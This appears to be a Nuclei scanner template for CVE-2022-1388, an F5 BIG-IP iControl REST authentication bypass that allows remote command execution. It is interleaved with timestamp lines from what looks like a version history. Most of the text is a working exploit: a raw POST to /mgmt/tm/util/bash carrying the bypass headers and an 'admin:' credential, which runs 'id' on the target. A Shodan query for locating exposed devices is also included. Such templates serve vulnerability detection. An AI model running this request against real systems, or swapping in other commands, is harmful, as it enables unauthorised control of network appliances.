2022-05-09 07:53:05 +00:00
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id: CVE-2022-1388
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info:
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name: F5 BIG-IP iControl REST Auth Bypass RCE
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author: dwisiswant0
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severity: critical
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description: |
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This vulnerability may allow an unauthenticated attacker
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with network access to the BIG-IP system through the management
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port and/or self IP addresses to execute arbitrary system commands,
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create or delete files, or disable services. There is no data plane
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exposure; this is a control plane issue only.
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reference:
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2022-05-09 08:40:31 +00:00
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- https://twitter.com/GossiTheDog/status/1523566937414193153
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2022-05-09 07:53:05 +00:00
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- https://support.f5.com/csp/article/K23605346
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2022-05-09 08:58:57 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2022-1388
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cwe-id: CWE-306
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2022-05-09 09:37:01 +00:00
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metadata:
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shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
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verified: true
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tags: bigip,cve,cve2022,rce,mirai
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variables:
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auth: "admin:"
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2022-05-09 08:36:32 +00:00
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2022-05-09 07:53:05 +00:00
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requests:
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- raw:
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- |
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POST /mgmt/tm/util/bash HTTP/1.1
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Host: {{Hostname}}
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Connection: keep-alive, X-F5-Auth-Token
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X-F5-Auth-Token: a
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2022-05-09 08:36:32 +00:00
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Authorization: Basic {{base64(auth)}}
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2022-05-09 07:53:05 +00:00
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Content-Type: application/json
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{
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"command": "run",
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"utilCmdArgs": "-c id"
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}
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2022-05-09 09:37:01 +00:00
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2022-05-09 07:53:05 +00:00
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matchers:
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- type: word
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words:
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- "commandResult"
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- "uid="
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2022-05-09 09:37:01 +00:00
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condition: and
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